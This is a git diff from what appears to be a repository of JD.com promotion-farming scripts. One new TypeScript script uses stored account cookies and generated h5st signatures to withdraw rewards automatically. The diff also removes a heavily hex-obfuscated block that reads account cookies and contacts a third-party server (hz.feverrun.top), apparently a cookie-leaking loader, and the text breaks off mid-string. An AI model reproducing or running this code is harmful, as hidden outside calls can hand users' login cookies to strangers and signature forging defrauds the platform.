i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_run_reward.ts b/jd_joy_run_reward.ts new file mode 100644 index 0000000..3b72a4a --- /dev/null +++ b/jd_joy_run_reward.ts @@ -0,0 +1,88 @@ +/** +汪汪赛跑-提现10元 +2 0 0 * * 5 jd_joy_run_reward.ts +new Env('汪汪赛跑提现') +Modify By Dylan from HW +updateTime:2022-07-09 +**/ + +import {get, post, requireConfig, wait} from './function/TS_USER_AGENTS' +import {H5ST} from "./function/h5st" + +let cookie: string = '', res: any = '', UserName: string = '', fp_448de: string = '' || process.env.FP_448DE, fp_b6ac3: string = '' || process.env.FP_B6AC3 +let h5stTool: H5ST = null + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + let rewardAmount: number = 0 + try { + h5stTool = new H5ST('448de', 'jdltapp;', fp_448de) + await h5stTool.__genAlgo() + res = await team('runningMyPrize', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "pageSize": 20, "time": null, "ids": null}) + rewardAmount = res.data.rewardAmount + if (res.data.runningCashStatus.currentEndTime) { + console.log('可提现', rewardAmount) + res = await api('runningPrizeDraw', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "type": 2, "level": 3}) + await wait(2000) + if (res.success){ + console.log(res.data.message) + } else { + console.log('提现失败:', res.errMsg) + } + }else{ + console.log('还未到提现时间') + } + } catch (e) { + console.log('Error', e) + await wait(1000) + } + } +})() + +async function api(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string = '' + if (fn === 'runningOpenBox') { + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: "runningOpenBox", + t: timestamp.toString() + }) + } + let params: string = `functionId=${fn}&body=${JSON.stringify(body)}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1` + h5st && (params += `&h5st=${h5st}`) + return await post('https://api.m.jd.com/', params, { + 'authority': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'cookie': cookie, + 'origin': 'https://h5platform.jd.com', + 'referer': 'https://h5platform.jd.com/', + 'user-agent': 'jdltapp;' + }) +} + +async function team(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: fn, + t: timestamp.toString() + }) + return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1&h5st=${h5st}`, { + 'Host': 'api.m.jd.com', + 'User-Agent': 'jdltapp;', + 'Origin': 'https://h5platform.jd.com', + 'X-Requested-With': 'com.jd.jdlite', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} diff --git a/jd_opencardDPLHTY.js b/jd_opencardDPLHTY.js index 382480d..c403db9 100644 --- a/jd_opencardDPLHTY.js +++ b/jd_opencardDPLHTY.js @@ -11,7 +11,7 @@ const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; const notify = $.isNode() ? require('./sendNotify') : ''; -var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxef3e3=["\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x6A\x64\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x31\x31\x2E\x31\x2E\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x50\x43\x43\x4D\x30\x30\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x31\x30\x32\x31\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x38\x39\x2E\x30\x2E\x34\x33\x38\x39\x2E\x37\x32\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x36\x30\x31\x31\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\x6A\x64\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x31\x31\x2E\x32\x2E\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x50\x43\x43\x4D\x30\x30\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x31\x30\x32\x31\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x38\x39\x2E\x30\x2E\x34\x33\x38\x39\x2E\x37\x32\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x36\x30\x31\x31\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x63\x61\x72\x64\x2F\x67\x65\x74\x54\x6F\x6B\x65\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x63\x61\x72\x64\x2F\x67\x65\x74\x43\x61\x72\x64","\x69\x73\x4E\x6F\x64\x65","\x70\x75\x73\x68","\x66\x6F\x72\x45\x61\x63\x68","\x6B\x65\x79\x73","\x44\x50\x4C\x48\x54\x59","\x65\x6E\x76","\x44\x50\x4C\x48\x54\x59\x5F\x44\x52\x41\x57\x4E\x55\x4D","\x4A\x44\x5F\x44\x45\x42\x55\x47","\x66\x61\x6C\x73\x65","\x6C\x6F\x67","\x66\x69\x6C\x74\x65\x72","\x43\x6F\x6F\x6B\x69\x65\x4A\x44","\x67\x65\x74\x64\x61\x74\x61","\x43\x6F\x6F\x6B\x69\x65\x4A\x44\x32","\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x70","\x43\x6F\x6F\x6B\x69\x65\x73\x4A\x44","\x5B\x5D","\x68\x6F\x74\x46\x6C\x61\x67","\x6F\x75\x74\x46\x6C\x61\x67","\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6E\x64","\x74\x72\x79\x42\x61\x6E\x64\x69\x6E\x67","\x74\x72\x79\x4D\x69\x73\x73\x69\x6F\x6E","\x61\x75\x74\x68\x6F\x72\x69\x6E\x76\x69\x74\x65\x4E\x69\x63\x6B","\x75\x73\x65\x64\x43\x68\x61\x6E\x63\x65","\x64\x6F\x6E\x65","\x66\x69\x6E\x61\x6C\x6C\x79","\x6C\x6F\x67\x45\x72\x72","\x63\x61\x74\x63\x68","\x6E\x61\x6D\x65","\u3010\u63D0\u793A\u3011\u8BF7\u5148\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\x0A\u76F4\u63A5\u4F7F\u7528\x4E\x6F\x62\x79\x44\x61\u7684\u4EAC\u4E1C\u7B7E\u5230\u83B7\u53D6","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x65\x61\x6E\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x6D\x73\x67","\u3010\u4FDD\u62A4\u73AF\u5883\u3011\x68\x74\x74\x70\x73\x3A\x2F\x2F\x74\x2E\x6D\x65\x2F\x70\x72\x6F\x65\x6E\x76\x63\x20\u63D0\u9192\u4F60\x3A","\x65\x78\x70\x6F\x72\x74\x20\x44\x50\x4C\x48\x54\x59\x3D\x22\u6D3B\u52A8\x49\x64\x22\x20\u672A\u8BBE\u7F6E\x20\u9000\u51FA\uFF01\uFF01\uFF01","\u6D3B\u52A8\x49\x64\x3A","\x72\x61\x6E\x64\x6F\x6D","\x77\x61\x69\x74","\x22","\x72\x65\x70\x6C\x61\x63\x65\x41\x6C\x6C","\x5C\x2F","\x2F","\x69\x6E\x76\x69\x74\x65\x4E\x69\x63\x6B","\x61\x70\x70\x6B\x65\x79","\x35\x31\x42\x35\x39\x42\x42\x38\x30\x35\x39\x30\x33\x44\x41\x34\x43\x45\x35\x31\x33\x44\x32\x39\x45\x43\x34\x34\x38\x33\x37\x35","\x75\x73\x65\x72\x49\x64","\x31\x30\x32\x39\x39\x31\x37\x31","\x61\x63\x74\x49\x64","\x4D\x69\x78\x4E\x69\x63\x6B\x73","\x6C\x65\x6E\x67\x74\x68","\x55\x73\x65\x72\x4E\x61\x6D\x65","\x6D\x61\x74\x63\x68","\x69\x6E\x64\x65\x78","\x62\x65\x61\x6E","\x6E\x69\x63\x6B\x4E\x61\x6D\x65","\x2A\x2A\x2A\x2A\x2A\x2A\u5F00\u59CB\u3010\u4EAC\u4E1C\u8D26\u53F7","\u3011","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A","\x4D\x69\x78\x4E\x69\x63\x6B","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C","\x73\x65\x6E\x64\x4E\x6F\x74\x69\x66\x79","\x68\x61\x73\x45\x6E\x64","\x65\x6E\x64\x54\x69\x6D\x65","\x54\x6F\x6B\x65\x6E","\x50\x69\x6E","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\u83B7\u53D6\x5B\x74\x6F\x6B\x65\x6E\x5D\u5931\u8D25\uFF01","\x61\x63\x74\x69\x76\x69\x74\x79\x5F\x6C\x6F\x61\x64","\u91CD\u8BD5\x3A\x20","\u6B21","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C\x0A","\x6E\x6F\x77","\u6D3B\u52A8\u7ED3\u675F","\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65\u5931\u8D25","\x74\x6F\x42\x69\x6E\x64","\u7ED1\u5B9A","\x6F\x70\x65\x6E\x43\x61\x72\x64\x4C\x6F\x61\x64","\u5168\u90E8\u5361\x3A","\x75\x73\x65\x72\x49\x64\x4C\x69\x73\x74","\u9700\u8981\u5F00\x3A","\x75\x73\x65\x72\x49\x64\x4E\x65\x65\x64\x4C\x69\x73\x74","\u5F00\u5361","\u5F20","\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65","\x6F\x70\x65\x6E\x43\x61\x72\x64","\x6A\x6F\x69\x6E\x56\x65\x6E\x64\x65\x72\x49\x64","\u53BB\u5F00\u5361\x3A\x20","\x6D\x69\x73\x73\x69\x6F\x6E","\u6D3B\u52A8\u592A\u706B\u7206\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5","\x69\x6E\x64\x65\x78\x4F\x66","\x65\x72\x72\x6F\x72\x4A\x6F\x69\x6E\x53\x68\x6F\x70","\u52A0\u5165\u5E97\u94FA\u4F1A\u5458\u5931\u8D25","\u7B2C\x31\u6B21\u91CD\u8BD5","\u7B2C\x32\u6B21\u91CD\u8BD5","\u7B2C\x33\u6B21\u91CD\u8BD5","\x68\x61\x73\x43\x6F\x6C\x6C\x65\x63\x74\x53\x68\x6F\x70","\x75\x6E\x69\x74\x65\x43\x6F\x6C\x6C\x65\x63\x74\x53\x68\x6F\x70","\u5DF2\u7ECF\u5173\u6CE8","\x75\x6E\x69\x74\x65\x41\x64\x64\x43\x61\x72\x74","\x72\x75\x6E\x46\x61\x6C\x61\x67","\u62BD\u5956\u6B21\u6570\u4E3A\x3A","\u9ED8\u8BA4\u6267\u884C\u62BD\u5956","\u7B2C","\u6B21\u62BD\u5956","\u62BD\u5956","\u62BD\u5956\u592A\u591A\u6B21","\x6D\x79\x41\x77\x61\x72\x64","\x6D\x69\x73\x73\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x4C\x69\x73\x74","\u5F53\u524D\u52A9\u529B\x3A","\u540E\u9762\u7684\u53F7\u90FD\u4F1A\u52A9\u529B\x3A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6A\x69\x6E\x67\x67\x65\x6E\x67\x6A\x63\x71\x2D\x69\x73\x76\x2E\x69\x73\x76\x6A\x63\x6C\x6F\x75\x64\x2E\x63\x6F\x6D","\x50\x4F\x53\x54","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x5F\x6C\x6F\x61\x64\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x30\x31","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x61\x63\x74\x69\x76\x69\x74\x79\x5F\x6C\x6F\x61\x64","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x73\x68\x6F\x70\x4C\x69\x73\x74\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x73\x68\x6F\x70\x4C\x69\x73\x74","\x73\x68\x6F\x70\x4C\x69\x73\x74","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x73\x68\x6F\x70\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4C\x6F\x61\x64\x3F\x6F\x70\x65\x6E\x5F\x69\x64\x3D\x26\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x26\x75\x73\x65\x72\x5F\x69\x64\x3D","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x73\x68\x6F\x70\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4C\x6F\x61\x64","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2F\x6D\x69\x73\x73\x69\x6F\x6E\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x72\x65\x6C\x61\x74\x69\x6F\x6E\x42\x69\x6E\x64","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2F\x6D\x69\x73\x73\x69\x6F\x6E","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x64\x72\x61\x77\x2F\x70\x6F\x73\x74\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x64\x72\x61\x77","\x32","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x64\x72\x61\x77\x2F\x70\x6F\x73\x74","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x63\x6F\x6C\x6C\x65\x63\x74\x53\x68\x6F\x70","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\x66\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x61\x64\x64\x43\x61\x72\x74\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x61\x64\x64\x43\x61\x72\x74","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x61\x64\x64\x43\x61\x72\x74","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x6D\x79\x41\x77\x61\x72\x64\x73\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x6D\x79\x41\x77\x61\x72\x64\x73","\x2F\x64\x6D\x2F\x66\x72\x6F\x6E\x74\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x6D\x69\x73\x73\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x4C\x69\x73\x74\x3F\x6D\x69\x78\x5F\x6E\x69\x63\x6B\x3D","\x73\x68\x61\x72\x65\x41\x63\x74","\x2F\x6F\x70\x65\x6E\x43\x61\x72\x64\x4E\x65\x77\x2F\x6D\x69\x73\x73\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x4C\x69\x73\x74","\u9519\u8BEF","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","\x74\x6F\x53\x74\x72","\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x70\x6F\x73\x74","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67\x57\x69\x74\x68\x41\x44","\x64\x72\x61\x77\x43\x6F\x6E\x74\x65\x6E\x74","\x70\x61\x72\x73\x65","\x20\u6267\u884C\u4EFB\u52A1\u5F02\u5E38","\x6F\x62\x6A\x65\x63\x74","\x65\x72\x72\x63\x6F\x64\x65","\x74\x6F\x6B\x65\x6E","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6D\x65\x73\x73\x61\x67\x65","\x20","\x73\x75\x63\x63\x65\x73\x73","\x6F\x70\x65\x6E\x4C\x69\x73\x74","\x64\x61\x74\x61","\x6F\x70\x65\x6E","\x76\x61\x6C\x75\x65\x73","\x6C\x6F\x61\x64\x55\x6E\x69\x74\x65\x4F\x70\x65\x6E\x43\x61\x72\x64","\x73\x65\x74\x4D\x69\x78\x4E\x69\x63\x6B","\x75\x6E\x69\x74\x65\x4F\x70\x65\x6E\x43\x61\x72\x64\x4F\x6E\x65","\x63\x68\x65\x63\x6B\x4F\x70\x65\x6E\x43\x61\x72\x64","\u5173\u6CE8","\u52A0\u8D2D","\x73\x74\x61\x74\x75\x73","\x69\x73\x4F\x70\x65\x6E\x43\x61\x72\x64","\x72\x65\x6D\x61\x72\x6B","\x3A","\u7ED1\u5B9A\u6210\u529F","\x63\x75\x73\x41\x63\x74\x69\x76\x69\x74\x79","\x62\x75\x79\x65\x72\x4E\x69\x63\x6B","\x6D\x69\x73\x73\x69\x6F\x6E\x43\x75\x73\x74\x6F\x6D\x65\x72","\u4E0D\u662F\u4F1A\u5458","\x75\x6E\x69\x74\x65\x4F\x70\x65\x6E\x43\x61\x72","\u6211\u7684\u5956\u54C1\uFF1A","\x6C\x69\x73\x74","\x61\x77\x61\x72\x64\x44\x65\x73","\u5171\u83B7\u5F97","\u4EAC\u8C46\x20\u65E0\u6CD5\u5224\u65AD\u5956\u52B1\u662F\u5426\u4E3A\u9080\u8BF7\u5956\u52B1\uFF0C\u6240\u4EE5\u76F4\u63A5\u663E\u793A\u83B7\u5F97\u591A\u5C11\u8C46","\u9080\u8BF7\u4EBA\u6570\x28","\x74\x6F\x74\x61\x6C","\x69\x6E\x76\x69\x74\x65\x64\x4C\x6F\x67\x4C\x69\x73\x74","\x29","\u6D3B\u52A8\u672A\u5F00\u59CB","\x65\x72\x72\x6F\x72\x4D\x65\x73\x73\x61\x67\x65","\u706B\u7206","\x2D\x3E\x20","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x7A\x68\x2D\x63\x6E","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x55\x41","\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x4F\x72\x69\x67\x69\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E\x3B\x20\x63\x68\x61\x72\x73\x65\x74\x3D\x75\x74\x66\x2D\x38","\x43\x6F\x6F\x6B\x69\x65","\x32\x2E\x30","\x61\x64\x6D\x4A\x73\x6F\x6E","\x70\x61\x72\x61\x6D\x73","\x61\x73\x73\x69\x67\x6E","\x73\x69\x67\x6E","\x63\x6F\x6D\x6D\x6F\x6E\x50\x61\x72\x61\x6D\x65\x74\x65\x72","\x74\x69\x6D\x65\x73\x74\x61\x6D\x70","\x74\x69\x6D\x65\x53\x74\x61\x6D\x70","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x31\x30\x2E\x34\x2E\x36\x3B\x31\x33\x2E\x31\x2E\x32\x3B","\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x77\x69\x66\x69\x3B\x6D\x6F\x64\x65\x6C\x2F\x69\x50\x68\x6F\x6E\x65\x38\x2C\x31\x3B\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2F\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3B\x61\x70\x70\x42\x75\x69\x6C\x64\x2F\x31\x36\x37\x38\x31\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x33\x5F\x31\x5F\x32\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x66\x6C\x6F\x6F\x72","\x63\x68\x61\x72\x41\x74","\x73\x74\x72\x69\x6E\x67","\u8BF7\u52FF\u968F\u610F\u5728\x42\x6F\x78\x4A\x73\u8F93\u5165\u6846\u4FEE\u6539\u5185\u5BB9\x0A\u5EFA\u8BAE\u901A\u8FC7\u811A\u672C\u53BB\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x38\x35\x36\x32\x33\x33\x31\x32\x30\x34\x34\x32\x35\x38\x34\x36\x34\x33\x32\x35\x32\x32\x37\x36\x36\x36\x38\x38\x33\x35\x34\x36","\x32\x35\x37\x34\x37\x37\x31\x37","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x27","\x67","\x7E","\x25\x32\x37","\x72\x65\x70\x6C\x61\x63\x65","\x25\x37\x45","\x61\x70\x70\x4B\x65\x79","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x73\x68\x6F\x70\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x2C\x22\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x22\x3A","\x7B\x22\x76\x65\x6E\x64\x65\x72\x49\x64\x22\x3A\x22","\x22\x2C\x22\x73\x68\x6F\x70\x49\x64\x22\x3A\x22","\x22\x2C\x22\x62